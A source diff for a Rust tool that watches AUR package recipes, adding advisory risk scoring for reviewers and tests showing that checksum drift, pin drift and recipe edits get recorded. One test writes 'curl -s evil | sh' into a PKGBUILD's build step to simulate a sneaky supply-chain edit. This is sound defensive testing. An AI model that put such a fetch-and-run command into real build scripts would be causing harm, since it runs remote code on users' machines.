diff --git a/src/db/queries.rs b/src/db/queries.rs index fe3109a..2bbd4c1 100644 --- a/src/db/queries.rs +++ b/src/db/queries.rs @@ -575,6 +575,28 @@ pub fn our_package_names(db: &Db) -> Result<std::collections::BTreeSet<String>> }) } +/// The recipe the accepted release was actually built from, by walking +/// release -> candidate -> snapshot. Risk scoring compares against this, which +/// is why "last seen" can never leak into a review (§6, I2). +pub fn accepted_recipe(db: &Db, release: &ReleaseRow) -> Result<Option<Recipe>> { + let cid = match release.candidate_id { + Some(c) => c, + None => return Ok(None), + }; + db.read(move |c| { + use rusqlite::OptionalExtension; + Ok(c.query_row( + "SELECT s.srcinfo_json FROM snapshot s + JOIN candidate cnd ON cnd.snapshot_id = s.id + WHERE cnd.id = ?1", + params![cid], + |r| r.get::<_, String>(0), + ) + .optional()? + .and_then(|j| serde_json::from_str::<Recipe>(&j).ok())) + }) +} + // --------------------------------------------------------- stage B cache -- /// Exact cache hit: same recipe, same upstream tips (§5.2). diff --git a/src/review/mod.rs b/src/review/mod.rs index 25abca8..c8b2f50 100644 --- a/src/review/mod.rs +++ b/src/review/mod.rs @@ -4,5 +4,6 @@ pub mod approve; pub mod candidates; pub mod diff; +pub mod risk; pub use candidates::{upsert_candidate, NewCandidate, Upsert}; diff --git a/src/review/risk.rs b/src/review/risk.rs new file mode 100644 index 0000000..b05604d --- /dev/null +++ b/src/review/risk.rs @@ -0,0 +1,277 @@ +//! Advisory risk scoring (§6). +//! +//! The reviewer's attention is the scarcest resource in this system, so every +//! candidate gets a computed level that orders and colours the inbox. It is +//! **advisory only**: there is no auto-approval in v1 (§7.3), so nothing is +//! gated on a score and no heuristic can let something through. A wrong score +//! costs attention, never safety. +//! +//! Every signal is computed from what the accepted release recorded against +//! what the candidate records now — the same "never last seen" rule that makes +//! I2 true for the diff panels. + +use crate::db::{self, model::*, Db, Pkgbase}; +use crate::error::Result; +use crate::pkgver; + +pub mod level { + pub const LOW: &str = "low"; + pub const MEDIUM: &str = "medium"; + pub const HIGH: &str = "high"; +} + +/// A build tool in `makedepends` means the build can fetch and compile anything +/// (§16: we do not sandbox the network in v0, so the reviewer should see it). +const FETCHING_BUILD_TOOLS: &[&str] = &["cargo", "npm", "go", "pip", "python", "ruby", "deno", "rust", "nodejs"]; + +/// Files whose presence in an upstream commit range means the build itself +/// changed, not just the code. +const BUILD_SYSTEM_FILES: &[&str] = &[ + "Cargo.toml", "Cargo.lock", "package.json", "setup.py", "pyproject.toml", "Makefile", "CMakeLists.txt", + "meson.build", "go.mod", "Gemfile", "build.gradle", +]; + +#[derive(Debug, Clone, Default)] +pub struct Assessment { + pub level: String, + pub signals: Vec<String>, +} + +impl Assessment { + pub fn is_high(&self) -> bool { + self.level == level::HIGH + } +} + +/// Score a candidate against the release it would replace. `None` accepted +/// means a first introduction, which is its own kind of review (§7.1b). +pub fn assess( + db: &Db, + cfg: &crate::config::Config, + pb: &Pkgbase, + new: &Recipe, + new_digests: &[SourceDigest], + accepted: Option<&ReleaseRow>, +) -> Result<Assessment> { + let mut s = SignalSet::default(); + let old: Option<Recipe> = match accepted { + Some(r) => db::accepted_recipe(db, r)?, + None => None, + }; + + match &old { + None => s.add("first-introduction", level::MEDIUM), + Some(old) => { + compare_recipes(old, new, &mut s); + compare_digests(old, new, accepted.unwrap(), new_digests, &mut s); + } + } + + // Things only visible from the recipe itself. + if new.skipgpcheck { + s.add("skippgpcheck", level::HIGH); + } + for idx in crate::watch::digests::skip_on_non_vcs(new) { + s.add(&format!("skip-checksum:source-{idx}"), level::HIGH); + } + for md in pkgver::dep_names(&new.makedepends) { + if FETCHING_BUILD_TOOLS.iter().any(|t| md.starts_with(t)) { + s.add(&format!("build-tool:{md}"), level::MEDIUM); + } + } + if new.install.is_some() { + // An `.install` script is arbitrary code that runs on every consumer + // machine at install time. + s.add("install-script", level::HIGH); + } + for opt in &new.options { + if matches!(opt.as_str(), "!debug" | "!strip" | "!buildflags" | "!security" | "!emptydirs") { + s.add(&format!("option:{opt}"), level::MEDIUM); + } + } + + // Upstream movement that touches the build system (§6): the diff is in a + // language ecosystem we cannot inspect, so say so. + if let Some(a) = accepted { + for pin in accepted_pins(db, accepted) { + if let Some(old_pin) = a.pins().into_iter().find(|p| p.index == pin.index) { + if !old_pin.commit.is_empty() + && !pin.commit.is_empty() + && old_pin.commit != pin.commit + && upstream_touches_build_system(cfg, pb, &old_pin.commit, &pin.commit) + { + s.add("upstream-build-system", level::MEDIUM); + } + } + } + } + + Ok(Assessment { level: s.level(), signals: s.signals }) +} + +fn accepted_pins(db: &Db, accepted: Option<&ReleaseRow>) -> Vec<UpstreamPin> { + let _ = db; + accepted.map(|a| a.pins()).unwrap_or_default() +} + +fn compare_recipes(old: &Recipe, new: &Recipe, s: &mut SignalSet) { + // Version deltas. + if new.epoch != old.epoch && pkgver::vercmp(&new.epoch, &old.epoch) == std::cmp::Ordering::Greater { + s.add("epoch-bump", level::MEDIUM); + } + if new.pkgver == old.pkgver && pkgver::vercmp(&new.pkgrel, &old.pkgrel) == std::cmp::Ordering::Less { + s.add("pkgrel-reset", level::LOW); + } + if pkgver::is_downgrade(&old.pkgver, &new.pkgver) { + s.add("downgrade", level::MEDIUM); + } + // Sources: added/removed entries and host changes. + let old_hosts = hosts(&old.source); + let new_hosts = hosts(&new.source); + for h in &new_hosts { + if !old_hosts.contains(h) { + s.add(&format!("new-source-host:{h}"), level::HIGH); + } + } + if new.source.len() != old.source.len() { + s.add("source-set-changed", level::MEDIUM); + } + // Checksums weakening: a sum that existed and is now SKIP. + for (i, sum) in new.sha256sums.iter().enumerate() { + if sum.eq_ignore_ascii_case("SKIP") { + match old.sha256sums.get(i) { + Some(prev) if prev != "SKIP" && !prev.is_empty() => { + s.add(&format!("sums-to-skip:{i}"), level::HIGH) + } + _ => {} + } + } + } + if !old.validpgpkeys.is_empty() && new.validpgpkeys.is_empty() { + s.add("validpgpkeys-removed", level::HIGH); + } + // Dependencies. + let old_md: std::collections::BTreeSet<String> = pkgver::dep_names(&old.makedepends).into_iter().collect(); + for md in pkgver::dep_names(&new.makedepends) { + if !old_md.contains(&md) { + s.add(&format!("new-makedepends:{md}"), level::MEDIUM); + } + } + let old_cd: std::collections::BTreeSet<String> = pkgver::dep_names(&old.checkdepends).into_iter().collect(); + let new_cd: std::collections::BTreeSet<String> = pkgver::dep_names(&new.checkdepends).into_iter().collect(); + if !old_cd.is_empty() && new_cd.is_empty() { + // Tests silently stopped running. + s.add("checkdepends-removed", level::MEDIUM); + } + // Did the executable part of the recipe change, or only metadata? + if body_changed(&old.pkgbuild, &new.pkgbuild) { + s.add("recipe-code-changed", level::HIGH); + } + if old.install != new.install { + s.add("install-script-changed", level::HIGH); + } +} + +/// Digest comparison. Drift with no version change is an `integrity_alert` +/// (§5.3) and never reaches here as a review, so anything that *does* show up +/// alongside a version change is still worth saying. +fn compare_digests( + _old: &Recipe, + _new: &Recipe, + accepted: &ReleaseRow, + new_digests: &[SourceDigest], + s: &mut SignalSet, +) { + let old_digests = accepted.digests(); + for n in new_digests { + if let Some(o) = old_digests.iter().find(|d| d.index == n.index) { + if o.digest != n.digest && !n.digest.is_empty() && o.kind != "local" { + s.add(&format!("digest-changed:source-{}", n.index), level::MEDIUM); + } + } + } +} + +/// True when the diff touches a `build()`/`package()`/`prepare()`/`check()` +/// body rather than only the variable assignments above them. +fn body_changed(old_src: &str, new_src: &str) -> bool { + fn bodies(text: &str) -> String { + let mut out = String::new(); + let mut inside = false; + for line in text.lines() { + let t = line.trim_start(); + if t.starts_with("build()") + || t.starts_with("package") + || t.starts_with("prepare()") + || t.starts_with("check()") + { + inside = true; + } + if inside { + out.push_str(t); + out.push('\n'); + } + } + out + } + bodies(old_src) != bodies(new_src) +} + +fn hosts(sources: &[String]) -> std::collections::BTreeSet<String> { + sources + .iter() + .filter_map(|s| { + let s = s.rsplit("::").next().unwrap_or(s); + let s = s.rsplit('+').next().unwrap_or(s); + let rest = s.split("://").nth(1)?; + rest.split('/').next().map(|h| h.to_string()) + }) + .collect() +} + +fn upstream_touches_build_system(cfg: &crate::config::Config, pb: &Pkgbase, from: &str, to: &str) -> bool { + // Best-effort: if we have the upstream clone cached we can ask it directly. + let cache = cfg.vcs_cache_dir(); + if !cache.exists() { + return false; + } + let range = format!("{from}..{to}"); + for dir in std::fs::read_dir(&cache).into_iter().flatten().filter_map(|d| d.ok()) { + let path = dir.path(); + if let Ok(files) = crate::git::git(Some(&path), &["diff", "--name-only", &range]) { + if files.lines().any(|f| BUILD_SYSTEM_FILES.iter().any(|b| f.ends_with(b))) { + let _ = pb; + return true; + } + } + } + false +} + +/// Accumulator that keeps the highest level seen and de-duplicates signals. +#[derive(Debug, Default)] +struct SignalSet { + level: String, + signals: Vec<String>, +} + +impl SignalSet { + fn add(&mut self, signal: &str, lvl: &str) { + if !self.signals.contains(&signal.to_string()) { + self.signals.push(signal.to_string()); + } + self.level = match (self.level.as_str(), lvl) { + (_, level::HIGH) | (level::HIGH, _) => level::HIGH, + (_, level::MEDIUM) | (level::MEDIUM, _) => level::MEDIUM, + _ => level::LOW, + } + .to_string(); + } + fn level(&self) -> String { + if self.level.is_empty() { + level::LOW.to_string() + } else { + self.level.clone() + } + } +} diff --git a/src/watch/detect.rs b/src/watch/detect.rs index d5f5c46..084052f 100644 --- a/src/watch/detect.rs +++ b/src/watch/detect.rs @@ -184,10 +184,9 @@ fn analyse(cfg: &Config, db: &Db, pb: &Pkgbase, head: &str) -> Result<CheckRepor let Some(base) = accepted else { // §7.1b: nothing to diff against — this is a first introduction. - return match upsert_candidate(db, pb, None, &nc)? { - Upsert::Created { id, kind } => Ok(report(Outcome::Candidate { id, kind })), - other => Ok(report(outcome_of(other))), - }; + let up = upsert_candidate(db, pb, None, &nc)?; + score(db, cfg, pb, &recipe, &digests, None, candidate_id_of(&up)); + return Ok(report(outcome_of(up))); }; // Same identity as what we already serve: nothing happened. @@ -221,9 +220,34 @@ fn analyse(cfg: &Config, db: &Db, pb: &Pkgbase, head: &str) -> Result<CheckRepor } let up = upsert_candidate(db, pb, Some(&base), &nc)?; + score(db, cfg, pb, &recipe, &digests, Some(&base), candidate_id_of(&up)); Ok(report(outcome_of(up))) } +fn candidate_id_of(up: &Upsert) -> Option<i64> { + match up { + Upsert::Created { id, .. } | Upsert::Collapsed { id, .. } | Upsert::Superseded { new: id, .. } => Some(*id), + Upsert::PreviouslyRejected | Upsert::Unchanged => None, + } +} + +/// Advisory risk scoring (§6). Best-effort: a scoring failure must never lose a +/// candidate, so this logs rather than propagates. +fn score( + db: &Db, + cfg: &Config, + pb: &Pkgbase, + recipe: &Recipe, + digests: &[SourceDigest], + accepted: Option<&ReleaseRow>, + candidate_id: Option<i64>, +) { + let Some(id) = candidate_id else { return }; + if let Ok(a) = crate::review::risk::assess(db, cfg, pb, recipe, digests, accepted) { + let _ = crate::review::candidates::set_risk(db, id, &a.level, &a.signals); + } +} + fn outcome_of(up: Upsert) -> Outcome { match up { Upsert::Created { id, kind } => Outcome::Candidate { id, kind }, diff --git a/testcorpus/digest-drift/PKGBUILD b/testcorpus/digest-drift/PKGBUILD index 444ff72..db77db8 100644 --- a/testcorpus/digest-drift/PKGBUILD +++ b/testcorpus/digest-drift/PKGBUILD @@ -5,7 +5,7 @@ pkgdesc="synthetic fixture" url="https://example.invalid/digest-drift" license=(MIT) arch=(x86_64) -source=("@AUR_DIR@/payload.bin") +source=("file://@AUR_DIR@/payload.bin") sha256sums=("SKIP") build() { echo building digest-drift diff --git a/testcorpus/skip-checksum/PKGBUILD b/testcorpus/skip-checksum/PKGBUILD index 93661a1..b4c4508 100644 --- a/testcorpus/skip-checksum/PKGBUILD +++ b/testcorpus/skip-checksum/PKGBUILD @@ -5,7 +5,7 @@ pkgdesc="synthetic fixture" url="https://example.invalid/skip-checksum" license=(MIT) arch=(x86_64) -source=("@AUR_DIR@/payload.bin") +source=("file://@AUR_DIR@/payload.bin") sha256sums=("SKIP") build() { echo building skip-checksum diff --git a/tests/notices.rs b/tests/notices.rs new file mode 100644 index 0000000..7051acf --- /dev/null +++ b/tests/notices.rs @@ -0,0 +1,213 @@ +//! Non-publishable change handling (§5.2, §5.3) and advisory risk scoring (§6). +//! +//! I11 is the invariant here: **a change that cannot be published is still +//! recorded.** The tempting failure mode is "nothing to approve, so nothing to +//! say" — which is exactly how a silently swapped tarball becomes invisible. +//! Every non-publishable change becomes a `notice` row, and the index keeps +//! serving the artifact it has. + +mod common; + +use aur_build::db::{self, model::*}; +use aur_build::review::risk; +use aur_build::review::approve::approve as do_approve; +use aur_build::review::{candidates, diff}; +use aur_build::watch::detect; +use common::*; + +fn detect_outcome(env: &Env, name: &str) -> detect::Outcome { + detect::check_pkgbase(&env.cfg, &env.db, name).unwrap().outcome +} + +/// Approve and publish whatever is currently pending, so the next detection has +/// an accepted release to compare against. +fn publish_current(env: &Env) { + let c = candidates::pending_candidates(&env.db).unwrap().remove(0); + let dd = diff::render_and_store(&env.db, &env.cfg, &c).unwrap(); + do_approve(&env.db, "tester", c.id, &c.identity_hash, &dd, None).unwrap(); + let c = candidates::candidate_by_id(&env.db, c.id).unwrap().unwrap(); + let id = aur_build::pipeline::enqueue_for_candidate(&env.cfg, &env.db, &c).unwrap(); + let out = aur_build::pipeline::run(&env.cfg, &env.db, &id).unwrap(); + assert!(matches!(out, aur_build::pipeline::Outcome::Succeeded { .. }), "{out:?}"); +} + +#[test] +fn digest_drift_is_a_high_severity_integrity_alert_and_no_candidate() { + let (env, fx) = env_with_fixture("digest-drift"); + detect_outcome(&env, "digest-drift"); + publish_current(&env); + + // The bytes behind the SKIP source change and the version does not. + fx.swap_payload("EVIL: whatever the CDN serves now"); + let outcome = detect_outcome(&env, "digest-drift"); + match outcome { + detect::Outcome::Notice { kind, .. } => assert_eq!(kind, notice_kind::INTEGRITY_ALERT), + other => panic!("expected an integrity alert, got {other:?}"), + } + assert!( + candidates::pending_candidates(&env.db).unwrap().is_empty(), + "approving this could not publish anything, so it is not a review" + ); + let notices = db::list_notices(&env.db, false).unwrap(); + assert_eq!(notices.len(), 1, "the alert must not be dropped"); + assert_eq!(notices[0].kind, notice_kind::INTEGRITY_ALERT); + assert_eq!(notices[0].severity, "high", "this is the highest-value detection we have"); + assert!(notices[0].detail_json.contains("no longer serves"), "{}", notices[0].detail_json); + // And the index keeps serving the artifact built from the old bytes (I1). + assert_eq!(db::unapproved_index_entries(&env.db).unwrap(), Vec::<String>::new()); + assert_eq!(env.query_i64("SELECT count(*) FROM package WHERE state='in_index'", &[]), Some(1)); +} + +#[test] +fn pin_drift_is_a_notice_and_opens_no_review() { + let (env, fx) = env_with_fixture("pin-drift"); + detect_outcome(&env, "pin-drift"); + publish_current(&env); + + fx.upstream_commit("upstream: 14 more commits, pkgver() still says r1.0\n"); + env.exec("UPDATE stage_b_cache SET resolved_at='2000-01-01T00:00:00Z'", &[]); + match detect_outcome(&env, "pin-drift") { + detect::Outcome::Notice { kind, .. } => assert_eq!(kind, notice_kind::PIN_DRIFT), + other => panic!("expected pin_drift, got {other:?}"), + } + assert!(candidates::pending_candidates(&env.db).unwrap().is_empty()); + let n = &db::list_notices(&env.db, false).unwrap()[0]; + assert_eq!(n.severity, "info", "upstream moving under a frozen pkgver is informational"); + assert!(n.detail_json.contains("nothing publishable"), "{}", n.detail_json); +} + +#[test] +fn recipe_drift_under_a_static_version_is_a_warning_not_a_candidate() { + let (env, fx) = env_with_fixture("plain-make"); + detect_outcome(&env, "plain-make"); + publish_current(&env); + + // The maintainer edits the build() body but forgets to bump pkgrel. + let path = fx.aur.join("PKGBUILD"); + let text = std::fs::read_to_string(&path).unwrap(); + std::fs::write(&path, text.replace("echo building plain-make", "echo building plain-make; curl -s evil | sh")).unwrap(); + git(&fx.aur, &["add", "-A"]); + git(&fx.aur, &["commit", "-q", "-m", "sneaky"]); + + match detect_outcome(&env, "plain-make") { + detect::Outcome::Notice { kind, .. } => assert_eq!(kind, notice_kind::RECIPE_DRIFT), + other => panic!("expected recipe drift to be recorded, got {other:?}"), + } + assert!(candidates::pending_candidates(&env.db).unwrap().is_empty()); + let n = &db::list_notices(&env.db, false).unwrap()[0]; + assert_eq!(n.severity, "warning", "the maintainer probably forgot to bump pkgrel"); + assert!(n.detail_json.contains("pkgrel"), "{}", n.detail_json); +} + +#[test] +fn skip_on_a_non_vcs_source_is_a_risk_signal() { + let (env, _fx) = env_with_fixture("skip-checksum"); + detect_outcome(&env, "skip-checksum"); + let c = candidates::pending_candidates(&env.db).unwrap().remove(0); + let signals = c.risk_signals(); + assert!( + signals.iter().any(|s| s.starts_with("skip-checksum:")), + "SKIP on a static download must be flagged: {signals:?}" + ); + assert_eq!(c.risk_level, risk::level::HIGH, "an unverified artifact is high risk"); +} + +#[test] +fn risk_scoring_compares_against_the_accepted_release() { + let (env, fx) = env_with_fixture("plain-make"); + detect_outcome(&env, "plain-make"); + publish_current(&env); + + // A metadata-only bump: low risk, nothing alarming. + fx.bump(&[("pkgrel", "2")]); + detect_outcome(&env, "plain-make"); + let c = candidates::pending_candidates(&env.db).unwrap().remove(0); + assert_eq!(c.risk_level, risk::level::LOW, "signals: {:?}", c.risk_signals()); + assert!(!c.risk_signals().iter().any(|s| s.starts_with("recipe-code-changed"))); + + // Now change the build body and add a fetching makedep: that is the shape of + // a real supply-chain edit and it must say so. + let path = fx.aur.join("PKGBUILD"); + let text = std::fs::read_to_string(&path).unwrap(); + std::fs::write( + &path, + text.replace("echo building plain-make", "cargo build --release") + .replace("pkgrel=2", "pkgrel=3\nmakedepends=('cargo')"), + ) + .unwrap(); + git(&fx.aur, &["add", "-A"]); + git(&fx.aur, &["commit", "-q", "-m", "modernize"]); + detect_outcome(&env, "plain-make"); + let c = candidates::pending_candidates(&env.db).unwrap().remove(0); + let signals = c.risk_signals(); + assert_eq!(c.risk_level, risk::level::HIGH, "signals: {signals:?}"); + assert!(signals.iter().any(|s| s == "recipe-code-changed"), "{signals:?}"); + assert!(signals.iter().any(|s| s.starts_with("build-tool:cargo")), "{signals:?}"); + assert!(signals.iter().any(|s| s.starts_with("new-makedepends:cargo")), "{signals:?}"); +} + +#[test] +fn a_first_introduction_is_flagged_as_its_own_kind_of_review() { + let (env, _fx) = env_with_fixture("plain-make"); + detect_outcome(&env, "plain-make"); + let c = candidates::pending_candidates(&env.db).unwrap().remove(0); + assert_eq!(c.kind, candidate_kind::FIRST_INTRODUCTION); + assert!(c.risk_signals().contains(&"first-introduction".to_string()), "{:?}", c.risk_signals()); + assert_ne!(c.risk_level, risk::level::LOW, "the first build here deserves care"); +} + +#[test] +fn i11_nothing_publishable_is_ever_silently_dropped() { + // Sweep every fixture through detection and assert the outcome is always + // one of: a review, a notice, an explicit no-change, or a recorded failure. + // There is no path where something moved and we said nothing. + let fixtures = [ + "plain-make", "with-patch", "skip-checksum", "split-pkgbase", "epoch-bump", "pkgrel-reset", + "downgrade", "git-sourced", "pin-drift", "digest-drift", "missing-dep", "build-fails", + ]; + for name in fixtures { + let (env, fx) = env_with_fixture(name); + let first = detect_outcome(&env, name); + assert!( + matches!( + first, + detect::Outcome::Candidate { .. } + | detect::Outcome::Notice { .. } + | detect::Outcome::Gone + | detect::Outcome::Blocked(_) + ), + "{name}: first detection produced {first:?}" + ); + // Every notice is a row, not just a return value. + let notices = db::list_notices(&env.db, false).unwrap(); + if let detect::Outcome::Notice { kind, .. } = &first { + assert!( + notices.iter().any(|n| &n.kind == kind), + "{name}: a {kind} outcome left no notice row" + ); + } + // Now move something and re-detect: still never silent. + let _ = fx.bump(&[("pkgrel", "99")]); + let second = detect_outcome(&env, name); + assert!( + !matches!(second, detect::Outcome::NoChange) || name == "git-sourced" || name == "pin-drift", + "{name}: a recipe change produced {second:?}" + ); + } +} + +#[test] +fn notices_are_deduplicated_so_a_persistent_problem_does_not_shout() { + let (env, fx) = env_with_fixture("digest-drift"); + detect_outcome(&env, "digest-drift"); + publish_current(&env); + fx.swap_payload("EVIL stable"); + detect_outcome(&env, "digest-drift"); + detect_outcome(&env, "digest-drift"); + detect_outcome(&env, "digest-drift"); + assert_eq!( + db::list_notices(&env.db, false).unwrap().len(), + 1, + "the same drift polled three times is one alert, not three" + ); +} |
